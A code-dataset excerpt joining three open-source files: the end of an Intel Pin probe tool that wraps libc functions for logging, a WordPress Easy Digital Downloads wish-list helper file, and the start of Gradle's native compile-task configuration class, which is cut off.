AFUNPTR fptr = (RTN_ReplaceProbed(rtnwcslen, AFUNPTR(mywcslen)));
fptrwcslen = (size_t (*)(const wchar_t *))fptr;
}
RTN rtnstrcpy = RTN_FindByName(img, "strcpy");
if (RTN_Valid(rtnstrcpy) && RTN_IsSafeForProbedReplacement(rtnstrcpy))
{
OutFile << CurrentTime() << "Inserting probe for strcpy at " << RTN_Address(rtnstrcpy) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnstrcpy, AFUNPTR(mystrcpy)));
fptrstrcpy = (CHAR_PTR (*)(CHAR_PTR , const CHAR_PTR ))fptr;
}
RTN rtnstrncpy = RTN_FindByName(img, "strncpy");
if (RTN_Valid(rtnstrncpy) && RTN_IsSafeForProbedReplacement(rtnstrncpy))
{
OutFile << CurrentTime() << "Inserting probe for strncpy at " << RTN_Address(rtnstrncpy) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnstrncpy, AFUNPTR(mystrcpy)));
fptrstrncpy = (CHAR_PTR (*)(CHAR_PTR , const CHAR_PTR , size_t))fptr;
}
RTN rtnstrcat = RTN_FindByName(img, "strcat");
if (RTN_Valid(rtnstrcat) && RTN_IsSafeForProbedReplacement(rtnstrcat))
{
OutFile << CurrentTime() << "Inserting probe for strcat at " << RTN_Address(rtnstrcat) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnstrcat, AFUNPTR(mystrcat)));
fptrstrcat = (CHAR_PTR (*)(CHAR_PTR , const CHAR_PTR ))fptr;
}
RTN rtnstrstr = RTN_FindByName(img, "strstr");
if (RTN_Valid(rtnstrstr) && RTN_IsSafeForProbedReplacement(rtnstrstr))
{
OutFile << CurrentTime() << "Inserting probe for strstr at " << RTN_Address(rtnstrstr) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnstrstr, AFUNPTR(mystrstr)));
fptrstrstr = (CHAR_PTR (*)(const CHAR_PTR , const CHAR_PTR ))fptr;
}
RTN rtnstrchr0 = RTN_FindByName(img, "strchr0");
if (RTN_Valid(rtnstrchr0) && RTN_IsSafeForProbedReplacement(rtnstrchr0))
{
OutFile << CurrentTime() << "Inserting probe for strchr0 at " << RTN_Address(rtnstrchr0) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnstrchr0, AFUNPTR(mystrchr0)));
fptrstrrchr = (CHAR_PTR (*)(const CHAR_PTR , int))fptr;
}
RTN rtnstrrchr = RTN_FindByName(img, "strrchr");
if (RTN_Valid(rtnstrrchr) && RTN_IsSafeForProbedReplacement(rtnstrrchr))
{
OutFile << CurrentTime() << "Inserting probe for strrchr at "
<< RTN_Address(rtnstrrchr) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnstrrchr, AFUNPTR(mystrrchr)));
fptrstrrchr = (CHAR_PTR (*)(const CHAR_PTR , int))fptr;
}
RTN rtnstrcmp = RTN_FindByName(img, "strcmp");
if (RTN_Valid(rtnstrcmp) && RTN_IsSafeForProbedReplacement(rtnstrcmp))
{
OutFile << CurrentTime() << "Inserting probe for strcmp at " << RTN_Address(rtnstrcmp) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnstrcmp, AFUNPTR(mystrcmp)));
fptrstrcmp = (int (*)(const CHAR_PTR , const CHAR_PTR ))fptr;
}
RTN rtnstrncmp = RTN_FindByName(img, "strncmp");
if (RTN_Valid(rtnstrncmp) && RTN_IsSafeForProbedReplacement(rtnstrncmp))
{
OutFile << CurrentTime() << "Inserting probe for strncmp at " << RTN_Address(rtnstrncmp) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnstrncmp, AFUNPTR(mystrncmp)));
fptrstrncmp = (int (*)(const CHAR_PTR , const CHAR_PTR , size_t))fptr;
}
RTN rtnsigaddset = RTN_FindByName(img, "sigaddset");
if (RTN_Valid(rtnsigaddset) && RTN_IsSafeForProbedReplacement(rtnsigaddset))
{
OutFile << CurrentTime() << "Inserting probe for sigaddset at " << RTN_Address(rtnsigaddset) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsigaddset, AFUNPTR(mysigaddset)));
fptrsigaddset = (int (*)(sigset_t *, int))fptr;
}
RTN rtnsigdelset = RTN_FindByName(img, "sigdelset");
if (RTN_Valid(rtnsigdelset) && RTN_IsSafeForProbedReplacement(rtnsigdelset))
{
OutFile << CurrentTime() << "Inserting probe for sigdelset at "<< RTN_Address(rtnsigdelset) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsigdelset, AFUNPTR(mysigdelset)));
fptrsigdelset = (int (*)(sigset_t *, int))fptr;
}
RTN rtnsigismember = RTN_FindByName(img, "sigismember");
if (RTN_Valid(rtnsigismember) && RTN_IsSafeForProbedReplacement(rtnsigismember))
{
OutFile << CurrentTime() << "Inserting probe for sigismember at " << RTN_Address(rtnsigismember) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsigismember, AFUNPTR(mysigismember)));
fptrsigdelset = (int (*)(sigset_t *, int))fptr;
}
RTN rtnstrerror = RTN_FindByName(img, "strerror");
if (RTN_Valid(rtnstrerror) && RTN_IsSafeForProbedReplacement(rtnstrerror))
{
OutFile << CurrentTime() << "Inserting probe for strerror at " << RTN_Address(rtnstrerror) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnstrerror, AFUNPTR(mystrerror)));
fptrstrerror = (CHAR_PTR (*)(int))fptr;
}
RTN rtnbind = RTN_FindByName(img, "bind");
if (RTN_Valid(rtnbind) && RTN_IsSafeForProbedReplacement(rtnbind))
{
OutFile << CurrentTime() << "Inserting probe for bind at " << RTN_Address(rtnbind) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnbind, AFUNPTR(mybind)));
fptrbind = (int (*)(int, const struct sockaddr *, socklen_t))fptr;
}
RTN rtnlisten = RTN_FindByName(img, "listen");
if (RTN_Valid(rtnlisten) && RTN_IsSafeForProbedReplacement(rtnlisten))
{
OutFile << CurrentTime() << "Inserting probe for listen at " << RTN_Address(rtnlisten) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnlisten, AFUNPTR(mylisten)));
fptrlisten = (int (*)(int, int))fptr;
}
RTN rtnuname = RTN_FindByName(img, "uname");
if (RTN_Valid(rtnuname) && RTN_IsSafeForProbedReplacement(rtnuname))
{
OutFile << CurrentTime() << "Inserting probe for uname at " << RTN_Address(rtnuname) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnuname, AFUNPTR(myuname)));
fptruname = (int (*)(struct utsname *))fptr;
}
RTN rtngethostname = RTN_FindByName(img, "gethostname");
if (RTN_Valid(rtngethostname) && RTN_IsSafeForProbedReplacement(rtngethostname))
{
OutFile << CurrentTime() << "Inserting probe for gethostname at " << RTN_Address(rtngethostname) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtngethostname, AFUNPTR(mygethostname)));
fptrgethostname = (int (*)(CHAR_PTR , size_t))fptr;
}
RTN rtnkill = RTN_FindByName(img, "kill");
if (RTN_Valid(rtnkill) && RTN_IsSafeForProbedReplacement(rtnkill))
{
OutFile << CurrentTime() << "Inserting probe for kill at " << RTN_Address(rtnkill) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnkill, AFUNPTR(mykill)));
fptrkill = (int (*)(pid_t, int))fptr;
}
RTN rtnsched_yield = RTN_FindByName(img, "sched_yield");
if (RTN_Valid(rtnsched_yield) && RTN_IsSafeForProbedReplacement(rtnsched_yield)) {
OutFile << CurrentTime() << "Inserting probe for sched_yield at " << RTN_Address(rtnsched_yield) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsched_yield, AFUNPTR(mysched_yield)));
fptrsched_yield = (int (*)())fptr;
}
RTN rtntimer_settime = RTN_FindByName(img, "timer_settime");
if (RTN_Valid(rtntimer_settime) && RTN_IsSafeForProbedReplacement(rtntimer_settime))
{
OutFile << CurrentTime() << "Inserting probe for timer_settime at " << RTN_Address(rtntimer_settime) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtntimer_settime, AFUNPTR(mytimer_settime)));
fptrtimer_settime = (int (*)(timer_t, int, const struct itimerspec *, struct itimerspec *))fptr;
}
RTN rtnsigaltstack = RTN_FindByName(img, "sigaltstack");
if (RTN_Valid(rtnsigaltstack) && RTN_IsSafeForProbedReplacement(rtnsigaltstack))
{
OutFile << CurrentTime() << "Inserting probe for sigaltstack at " << RTN_Address(rtnsigaltstack) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsigaltstack, AFUNPTR(mysigaltstack)));
fptrsigaltstack = (int (*)(const stack_t *, stack_t *))fptr;
}
RTN rtnioctl = RTN_FindByName(img, "ioctl");
if (RTN_Valid(rtnioctl) && RTN_IsSafeForProbedReplacement(rtnioctl))
{
OutFile << CurrentTime() << "Inserting probe for ioctl at " << RTN_Address(rtnioctl) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnioctl, AFUNPTR(myioctl)));
fptrioctl = (int (*)(int, int, CHAR_PTR ))fptr;
}
RTN rtnflock = RTN_FindByName(img, "flock");
if (RTN_Valid(rtnflock) && RTN_IsSafeForProbedReplacement(rtnflock))
{
OutFile << CurrentTime() << "Inserting probe for flock at " << RTN_Address(rtnflock) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnflock, AFUNPTR(myflock)));
fptrflock = (int (*)(int, int))fptr;
}
RTN rtn__libc_dlopen_mode = RTN_FindByName(img, "__libc_dlopen_mode");
if (RTN_Valid(rtn__libc_dlopen_mode) && RTN_IsSafeForProbedReplacement(rtn__libc_dlopen_mode))
{
OutFile << CurrentTime() << "Inserting probe for __libc_dlopen_mode at " << RTN_Address(rtn__libc_dlopen_mode) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtn__libc_dlopen_mode, AFUNPTR(my__libc_dlopen_mode)));
fptr__libc_dlopen_mode = (VOID_PTR (*)(const CHAR_PTR , int))fptr;
}
RTN rtn__errno_location = RTN_FindByName(img, "__errno_location");
if (RTN_Valid(rtn__errno_location) && RTN_IsSafeForProbedReplacement(rtn__errno_location))
{
OutFile << CurrentTime() << "Inserting probe for __errno_location at " << RTN_Address(rtn__errno_location) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtn__errno_location, AFUNPTR(my__errno_location)));
fptr__errno_location = (INT_PTR (*)())fptr;
}
RTN rtnsyscall = RTN_FindByName(img, "syscall");
if (RTN_Valid(rtnsyscall) && RTN_IsSafeForProbedReplacement(rtnsyscall))
{
OutFile << CurrentTime() << "Inserting probe for syscall at " << RTN_Address(rtnsyscall) << endl;
OutFile.flush();
AFUNPTR fptr = (RTN_ReplaceProbed(rtnsyscall, AFUNPTR(mysyscall)));
fptrsyscall = (int (*)(int, long int, long int, long int, long int, long int, long int, long int))fptr;}
}
// finished instrumentation
}
/* ===================================================================== */
/* Main function */
/* ===================================================================== */
int main(int argc, char *argv[]) {
// Initialize Pin
PIN_InitSymbols();
if (PIN_Init(argc, argv)) {
return Usage();
}
OutFile.open(KnobOutputFile.Value().c_str());
OutFile << hex;
OutFile.setf(ios::showbase);
OutFile << CurrentTime() << "started!" << endl;
OutFile.flush();
// Register the instrumentation callback
IMG_AddInstrumentFunction(ImgLoad, 0);
// Start the application
PIN_StartProgramProbed(); // never returns
return 0;
}
|
cyjseagull/SHMA
|
zsim-nvmain/pin_kit/source/tools/Probes/tpss_lin_libc.cpp
|
C++
|
gpl-2.0
| 102,427
|
<?php
/**
* Functions
*
* @since 1.0
*/
// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) exit;
/**
* Allowed post types
*
* @since 1.0.4
* @return array $post_types an array of post types allowed
*/
function edd_wl_allowed_post_types() {
$post_types = apply_filters( 'edd_wl_allowed_post_types', array( 'download' ) );
return $post_types;
}
/**
* Is view page?
*
* @return boolean
*/
function edd_wl_is_view_page() {
$pages = apply_filters( 'edd_wl_is_view_page',
array(
edd_get_option( 'edd_wl_page_view', '' )
)
);
if ( $pages ) {
foreach ( $pages as $page ) {
if ( is_page( $page ) ) {
return true;
}
}
}
return false;
}
/**
* Is edit page?
*
* @return boolean
*/
function edd_wl_is_edit_page() {
$pages = apply_filters( 'edd_wl_is_edit_page',
array(
edd_get_option( 'edd_wl_page_edit', '' )
)
);
if ( $pages ) {
foreach ( $pages as $page ) {
if ( is_page( $page ) ) {
return true;
}
}
}
return false;
}
/**
* Get list ID
* Performs a simple lookup of the 'view' query var
*
* @return int ID of list
* @since 1.0
*/
function edd_wl_get_list_id() {
if ( get_query_var( 'wl_view' ) ) {
$list_id = get_query_var( 'wl_view' );
} elseif ( get_query_var( 'wl_edit' ) ) {
$list_id = get_query_var( 'wl_edit' );
}
if ( $list_id ) {
return apply_filters( 'edd_wl_get_list_id', $list_id );
}
return false;
}
/**
* Gets the downloads of a specific wish list
*
* @param int $wish_list_id the ID of the wish list
* @return array the contents of the wish list
* @since 1.0
*/
function edd_wl_get_wish_list( $list_id = '' ) {
if ( $list_id ) {
// retrieve the wish list
return apply_filters( 'edd_wl_get_wish_list', get_post_meta( $list_id, 'edd_wish_list', true ) );
}
return false;
}
/**
* Has pretty permalinks
*
* @since 1.0
*/
function edd_wl_has_pretty_permalinks() {
global $wp_rewrite;
if ( $wp_rewrite->using_permalinks() ) {
return true;
}
return false;
}
/**
* List is private
*
* This is used to redirect, or prevent viewing or editing of private lists
* @return [type]
*/
function edd_wl_is_private_list() {
if ( get_query_var( 'wl_view' ) ) {
$list_id = get_query_var( 'wl_view' );
} elseif ( get_query_var( 'wl_edit' ) ) {
$list_id = get_query_var( 'wl_edit' );
} else {
$list_id = '';
}
if ( ! $list_id ) {
return;
}
$list_status = get_post_status( $list_id );
if ( 'private' == $list_status && ! edd_wl_is_users_list( $list_id ) && ( edd_wl_is_page( 'view' ) || edd_wl_is_page( 'edit' ) ) ) {
return true;
}
}
/**
* Get the status of a list (post)
*
* @since 1.0
*/
function edd_wl_get_list_status( $post_id = '' ) {
$post_id = isset( $post_id ) ? $post_id : get_the_ID();
$status = get_post_status( $post_id );
switch ( $status ) {
case 'publish':
$status = 'public';
break;
case 'private':
$status = 'private';
break;
}
return $status;
}
/**
* List of statuses
*
* @since 1.0
* @return array statuses
*/
function edd_wl_get_list_statuses() {
$statuses = array(
'public',
'private'
);
return $statuses;
}
/**
* Check if we're on a certain page
*
* @since 1.0
* @return boolean true|false
*/
function edd_wl_is_page( $page = '' ) {
global $edd_options;
switch ( $page ) {
case 'wish-lists':
$id = isset( $edd_options['edd_wl_page'] ) ? $edd_options['edd_wl_page'] : false;
break;
case 'view':
$id = isset( $edd_options['edd_wl_page_view'] ) ? $edd_options['edd_wl_page_view'] : false;
break;
case 'edit':
$id = isset( $edd_options['edd_wl_page_edit'] ) ? $edd_options['edd_wl_page_edit'] : false;
break;
case 'create':
$id = isset( $edd_options['edd_wl_page_create'] ) ? $edd_options['edd_wl_page_create'] : false;
break;
}
if ( is_page( $id ) ) {
return true;
}
return false;
}
/**
* Get Wish List URI
* @return string
*/
function edd_wl_get_wish_list_uri() {
global $edd_options;
$uri = isset( $edd_options['edd_wl_page'] ) ? get_permalink( $edd_options['edd_wl_page'] ) : false;
if ( edd_wl_has_pretty_permalinks() ) {
$url = trailingslashit( $uri );
}
else {
$url = $uri;
}
return esc_url( apply_filters( 'edd_wl_get_wish_list_uri', $url ) );
}
/**
* Get the URI for viewing a wish list
* @return string
*/
function edd_wl_get_wish_list_view_uri( $id = '' ) {
global $edd_options;
$uri = isset( $edd_options['edd_wl_page_view'] ) ? get_permalink( $edd_options['edd_wl_page_view'] ) : false;
if ( edd_wl_has_pretty_permalinks() ) {
$url = trailingslashit( $uri ) . $id;
}
else {
$url = add_query_arg( 'wl_view', $id, $uri );
}
return esc_url( apply_filters( 'edd_wl_get_wish_list_view_uri', $url ) );
}
/**
* Get Wish List Edit URI
* @return string
*/
function edd_wl_get_wish_list_edit_uri( $id = '') {
global $edd_options;
$uri = isset( $edd_options['edd_wl_page_edit'] ) ? get_permalink( $edd_options['edd_wl_page_edit'] ) : false;
if ( edd_wl_has_pretty_permalinks() ) {
$url = trailingslashit( $uri ) . $id;
}
else {
$url = add_query_arg( 'wl_edit', $id, $uri );
}
return esc_url( apply_filters( 'edd_wl_get_wish_list_edit_uri', $url ) );
}
/**
* Get Wish List create URI
* @return string
*/
function edd_wl_get_wish_list_create_uri() {
global $edd_options;
$uri = isset( $edd_options['edd_wl_page_create'] ) ? get_permalink( $edd_options['edd_wl_page_create'] ) : false;
if ( edd_wl_has_pretty_permalinks() ) {
$url = trailingslashit( $uri );
}
else {
$url = $uri;
}
return esc_url( apply_filters( 'edd_wl_get_wish_list_create_uri', $url ) );
}
/**
* Returns the slug of the page selected for view
*
* @since 1.0
* @return string
* @global $edd_options
* @param string $page_name name of page
*/
function edd_wl_get_page_slug( $page_name = '' ) {
global $edd_options;
switch ( $page_name ) {
case 'view':
$page_id = isset( $edd_options['edd_wl_page_view'] ) && 'none' != $edd_options['edd_wl_page_view'] ? $edd_options['edd_wl_page_view'] : null;
break;
case 'edit':
$page_id = isset( $edd_options['edd_wl_page_edit'] ) && 'none' != $edd_options['edd_wl_page_edit'] ? $edd_options['edd_wl_page_edit'] : null;
break;
case 'create':
$page_id = isset( $edd_options['edd_wl_page_create'] ) && 'none' != $edd_options['edd_wl_page_create'] ? $edd_options['edd_wl_page_create'] : null;
break;
}
// get post slug from post object
$slug = isset( $page_id ) ? get_post( $page_id )->post_name : null;
return $slug;
}
/**
* Returns the URL to remove an item from the wish list
*
* @since 1.0
* @global $post
* @param int $cart_key Cart item key
* @param object $post Download (post) object
* @param bool $ajax AJAX?
* @return string $remove_url URL to remove the wish list item
*/
function edd_wl_remove_item_url( $cart_key, $post, $ajax = false ) {
global $post;
if( is_page() ) {
$current_page = add_query_arg( 'page_id', $post->ID, home_url( 'index.php' ) );
} else if( is_singular() ) {
$current_page = add_query_arg( 'p', $post->ID, home_url( 'index.php' ) );
} else {
$current_page = edd_get_current_page_url();
}
$remove_url = add_query_arg( array( 'cart_item' => $cart_key, 'edd_action' => 'remove' ), $current_page );
return esc_url( apply_filters( 'edd_remove_item_url', $remove_url ) );
}
/**
* The query to return the posts on the main wish lists page
* retrieves ids of lists for either logged in user or logged out
*
* @since 1.0
*/
function edd_wl_get_query( $status = array( 'publish', 'private' ) ) {
global $current_user;
get_currentuserinfo();
if ( 'public' == $status ) {
$status = 'publish';
}
// return if user is logged out and they don't have a token
if ( ! is_user_logged_in() && ! edd_wl_get_list_token() )
return null;
// initial query
$query = array(
'post_type' => 'edd_wish_list',
'posts_per_page' => '-1',
'post_status' => $status,
);
// get lists that belong to the currently logged in user
if( is_user_logged_in() ) {
$query['author'] = $current_user->ID;
}
// get token from cookie and lookup lists with that token
if ( ! is_user_logged_in() ) {
$query['meta_query'][] = array(
'key' => 'edd_wl_token',
'value' => edd_wl_get_list_token()
);
}
$posts = new WP_Query( $query );
$ids = array();
if ( $posts->have_posts() ) {
while ( $posts->have_posts() ) {
$posts->the_post();
$ids[] = get_the_ID();
}
wp_reset_postdata();
}
if ( $ids ) {
return $ids;
}
return false;
}
/**
* Add all items in wish list to the cart
*
* Adds all downloads within a taxonomy term to the cart.
*
* @since 1.0.6
* @param int $list_id ID of the list
* @return array Array of IDs for each item added to the cart
*/
function edd_wl_add_all_to_cart( $list_id ) {
$cart_item_ids = array();
$items = edd_wl_get_wish_list( $list_id );
if ( $items ) {
foreach ( $items as $item ) {
// check that they aren't already in the cart
if ( edd_item_in_cart( $item['id'], $item['options'] ) ) {
continue;
}
edd_add_to_cart( $item['id'], $item['options'] );
$cart_item_ids[] = $item['id'];
}
}
}
/**
* Show which lists the current item is already added to
*
* @since 1.0
* @uses edd_wl_item_in_wish_list()
*/
function edd_wl_lists_included( $download_id, $options ) {
ob_start();
$found_lists = edd_wl_item_in_wish_list( $download_id, $options );
if ( $found_lists ) {
$messages = edd_wl_messages();
echo '<p>';
echo $messages['lists_included'];
$list_names = array();
foreach ( $found_lists as $list_id ) {
$list_names[] = get_the_title( $list_id );
}
// comma separate
echo implode(', ', $list_names );
echo '</p>';
}
$html = ob_get_clean();
return apply_filters( 'edd_wl_lists_included', $html );
}
/**
* Checks to see if an item is already in the wish_list and returns a boolean. Modified from edd_item_in_cart()
*
* @since 1.0
*
* @param int $download_id ID of the download to remove
* @param array $options
* @return bool Item in the list or not?
* @todo modify function to accept list ID, or run a search with get_posts or osmething
*/
function edd_wl_item_in_wish_list( $download_id = 0, $options = array(), $list_id = 0 ) {
if ( isset( $list_id ) )
$posts = array( $list_id );
else
$posts = edd_wl_get_query();
if ( $posts ) {
$found_ids = array();
foreach ( $posts as $id ) {
$cart_items = get_post_meta( $id, 'edd_wish_list', true );
$found = false;
if ( $cart_items ) {
foreach ( $cart_items as $item ) {
if ( $item['id'] == $download_id ) {
if ( isset( $options['price_id'] ) && isset( $item['options']['price_id'] ) ) {
if ( $options['price_id'] == $item['options']['price_id'] ) {
$found = true;
break;
}
}
else {
$found = true;
break;
}
}
}
}
// add each found id to array
if ( $found ) {
$found_ids[] = $id;
}
}
return $found_ids;
}
}
/**
* Allow guest creation of Wist List
* @return boolean true if Guests are allowed, false otherwise
*/
function edd_wl_allow_guest_creation() {
global $edd_options;
// return true if 'allow guests' is enabled
if ( ( isset( $edd_options['edd_wl_allow_guests'] ) && 'no' == $edd_options['edd_wl_allow_guests'] ) && ! is_user_logged_in() ) {
return false;
}
return true;
}
/**
* Total price of items in wish list
*
* Used on front end and also admin
* @since 1.0
* @param $list_id ID of list
* @todo update total as items are removed from list via ajax
*/
function edd_wl_get_list_total( $list_id ) {
// get contents of cart
$list_items = get_post_meta( $list_id, 'edd_wish_list', true );
$total = array();
if ( $list_items ) {
foreach ( $list_items as $item ) {
$item_price = edd_get_cart_item_price( $item['id'], $item['options'] );
$item_price = round( $item_price, 2 );
$total[] = $item_price;
}
}
// add up values
$total = array_sum( $total );
$total = esc_html( edd_currency_filter( edd_format_amount( $total ) ) );
return apply_filters( 'edd_wl_list_total', $total );
}
/**
* Let the customer know they have already purchased a particular download
* @param [type] $download_id [description]
* @param [type] $variable_price_id [description]
* @since 1.0
* @return string
*/
function edd_wl_has_purchased( $download_id, $variable_price_id ) {
global $user_ID;
$messages = edd_wl_messages();
$has_purchased = edd_wl_get_purchases( $user_ID, $download_id, $variable_price_id );
if ( $has_purchased ) {
return apply_filters( 'edd_wl_has_purchased', '<span class="edd-wl-item-purchased">' . $messages['item_already_purchased'] . '</span>' );
}
return null;
}
/**
* Get a customer's purchases
* @param [type] $user_id [description]
* @param [type] $download_id [description]
* @param [type] $variable_price_id [description]
* @since 1.0
* @return [type] [description]
*/
function edd_wl_get_purchases( $user_id, $download_id, $variable_price_id = null ) {
$users_purchases = edd_get_users_purchases( $user_id );
$return = false;
if ( $users_purchases ) {
foreach ( $users_purchases as $purchase ) {
$purchased_files = edd_get_payment_meta_downloads( $purchase->ID );
if ( is_array( $purchased_files ) ) {
foreach ( $purchased_files as $download ) {
$variable_prices = edd_has_variable_prices( $download['id'] );
if ( $variable_prices && ! is_null( $variable_price_id ) && $variable_price_id !== false ) {
if ( isset( $download['options']['price_id'] ) && $variable_price_id == $download['options']['price_id'] ) {
$return = true;
break 2;
}
else {
$return = false;
}
}
elseif ( $download_id == $download['id']) {
$return = true;
}
}
}
}
}
return $return;
}
/**
* Validate emails used in the email share box
* @param string $emails string to emails to check
* @return boolean true if all emails are valid, false if one is not valid
*/
function edd_wl_validate_share_emails( $emails ) {
// explode string into array
$emails = explode( ',', $emails );
// remove whitespace and clean
$emails = array_filter( array_map( 'trim', $emails ) );
if ( $emails ) {
foreach ( $emails as $email ) {
if ( ! is_email( $email ) ) {
$valid_email = false;
break;
}
else {
$valid_email = true;
continue;
}
}
}
if ( $valid_email )
return $valid_email;
return null;
}
/**
* Get the Item Position in list
*
* @since 1.0.2
*
* @param int $download_id ID of the download to get position of
* @param array $options array of price options
* @return bool|int|string false if empty list | position of the item in the list
*/
function edd_wl_get_item_position_in_list( $download_id = 0, $list_id = 0, $options = array() ) {
$list_items = edd_wl_get_wish_list( $list_id );
if ( ! is_array( $list_items ) ) {
return false; // Empty list
} else {
foreach ( $list_items as $position => $item ) {
if ( $item['id'] == $download_id ) {
if ( isset( $options['price_id'] ) && isset( $item['options']['price_id'] ) ) {
if ( (int) $options['price_id'] == (int) $item['options']['price_id'] ) {
return $position;
}
} else {
return $position;
}
}
}
}
return false; // Not found
}
|
SelaInc/eassignment
|
wp-content/plugins/edd-wish-lists/includes/functions.php
|
PHP
|
gpl-2.0
| 15,386
|
/*
* Copyright 2014 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.gradle.language.nativeplatform.internal;
import java.io.File;
import java.util.Collection;
import java.util.List;
import java.util.Set;
import java.util.concurrent.Callable;
import org.gradle.api.DefaultTask;
import org.gradle.api.Project;
import org.gradle.api.Task;
import org.gradle.api.Transformer;
import org.gradle.api.file.FileCollection;
import org.gradle.api.internal.file.collections.SimpleFileCollection;
import org.gradle.api.plugins.ExtensionAware;
import org.gradle.api.specs.Spec;
import org.gradle.api.tasks.util.PatternSet;
import org.gradle.language.PreprocessingTool;
import org.gradle.language.base.LanguageSourceSet;
import org.gradle.language.base.internal.LanguageSourceSetInternal;
import org.gradle.language.base.internal.SourceTransformTaskConfig;
import org.gradle.language.base.internal.registry.LanguageTransform;
import org.gradle.language.nativeplatform.DependentSourceSet;
import org.gradle.language.nativeplatform.HeaderExportingSourceSet;
import org.gradle.language.nativeplatform.tasks.AbstractNativeCompileTask;
import org.gradle.language.nativeplatform.tasks.AbstractNativePCHCompileTask;
import org.gradle.nativeplatform.NativeDependencySet;
import org.gradle.nativeplatform.ObjectFile;
import org.gradle.nativeplatform.SharedLibraryBinarySpec;
import org.gradle.nativeplatform.Tool;
import org.gradle.nativeplatform.internal.NativeBinarySpecInternal;
import org.gradle.platform.base.BinarySpec;
import org.gradle.util.CollectionUtils;
public class CompileTaskConfig implements SourceTransformTaskConfig {
private final LanguageTransform<? extends LanguageSourceSet, ObjectFile> languageTransform;
private final Class<? extends DefaultTask> taskType;
public CompileTaskConfig(LanguageTransform<? extends LanguageSourceSet, ObjectFile> languageTransform, Class<? extends DefaultTask> taskType) {
this.languageTransform = languageTransform;
this.taskType = taskType;
}
public String getTaskPrefix() {
return "compile";
}
public Class<? extends DefaultTask> getTaskType() {
return taskType;
}
public void configureTask(Task task, BinarySpec binary, LanguageSourceSet sourceSet) {
configureCompileTaskCommon((AbstractNativeCompileTask) task, (NativeBinarySpecInternal) binary, (LanguageSourceSetInternal) sourceSet);
configureCompileTask((AbstractNativeCompileTask) task, (NativeBinarySpecInternal) binary, (LanguageSourceSetInternal) sourceSet);
}
private void configureCompileTaskCommon(AbstractNativeCompileTask task, final NativeBinarySpecInternal binary, final LanguageSourceSetInternal sourceSet) {
task.setToolChain(binary.getToolChain());
task.setTargetPlatform(binary.getTargetPlatform());
task.setPositionIndependentCode(binary instanceof SharedLibraryBinarySpec);
// TODO:DAZ Not sure if these both need to be lazy
task.includes(new Callable<Set<File>>() {
public Set<File> call() throws Exception {
return ((HeaderExportingSourceSet) sourceSet).getExportedHeaders().getSrcDirs();
}
});
task.includes(new Callable<List<FileCollection>>() {
public List<FileCollection> call() {
Collection<NativeDependencySet> libs = binary.getLibs((DependentSourceSet) sourceSet);
return CollectionUtils.collect(libs, new Transformer<FileCollection, NativeDependencySet>() {
public FileCollection transform(NativeDependencySet original) {
return original.getIncludeRoots();
}
});
}
});
for (String toolName : languageTransform.getBinaryTools().keySet()) {
Tool tool = (Tool) ((ExtensionAware) binary).getExtensions().getByName(toolName);
if (tool instanceof PreprocessingTool) {
task.setMacros(((PreprocessingTool) tool).getMacros());
}
task.setCompilerArgs(tool.getArgs());
}
}
protected void configureCompileTask(AbstractNativeCompileTask task, final NativeBinarySpecInternal binary, final LanguageSourceSetInternal sourceSet) {
task.setDescription(String.format("Compiles the %s of %s", sourceSet, binary));
task.source(sourceSet.getSource());
final Project project = task.getProject();
task.setObjectFileDir(project.file(String.valueOf(project.getBuildDir()) + "/objs/" + binary.getNamingScheme().getOutputDirectoryBase() + "/" + sourceSet.getFullName()));
// If this task uses a pre-compiled header
if (sourceSet instanceof DependentSourceSet && !((DependentSourceSet) sourceSet).getPreCompiledHeaders().isEmpty()) {
task.setPrefixHeaderFile(((DependentSourceSet)sourceSet).getPrefixHeaderFile());
task.setPreCompiledHeaders(((DependentSourceSet) sourceSet).getPreCompiledHeaders());
task.preCompiledHeaderInclude(new Callable<FileCollection>() {
public FileCollection call() {
Set<AbstractNativePCHCompileTask> pchTasks = binary.getTasks().withType(AbstractNativePCHCompileTask.class).matching(new Spec<AbstractNativePCHCompileTask>() {
@Override
public boolean isSatisfiedBy(AbstractNativePCHCompileTask pchCompileTask) {
return ((DependentSourceSet) sourceSet).getPrefixHeaderFile().equals(pchCompileTask.getPrefixHeaderFile());
}
});
if (!pchTasks.isEmpty()) {
